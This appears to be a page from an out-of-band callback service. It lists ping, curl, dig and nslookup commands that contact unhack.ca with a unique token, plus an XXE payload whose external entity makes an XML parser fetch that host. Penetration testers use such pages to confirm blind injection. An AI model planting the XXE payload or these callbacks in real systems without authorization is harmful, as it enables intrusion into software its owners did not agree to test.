$ ping -c1 -p 00ebb46706001333ce470c6483aeda00 unhack.ca
 
$ curl http://unhack.ca/p/ebb46706001333ce470c6483aeda
 
$ dig ebb46706001333ce470c6483aeda @unhack.ca
 
$ dig ebb46706001333ce470c6483aeda.ns.unhack.ca
 
C:\> nslookup ebb46706001333ce470c6483aeda unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ebb46706001333ce470c6483aeda">]>
    <foo>&xxe;</foo>
Waiting for ping...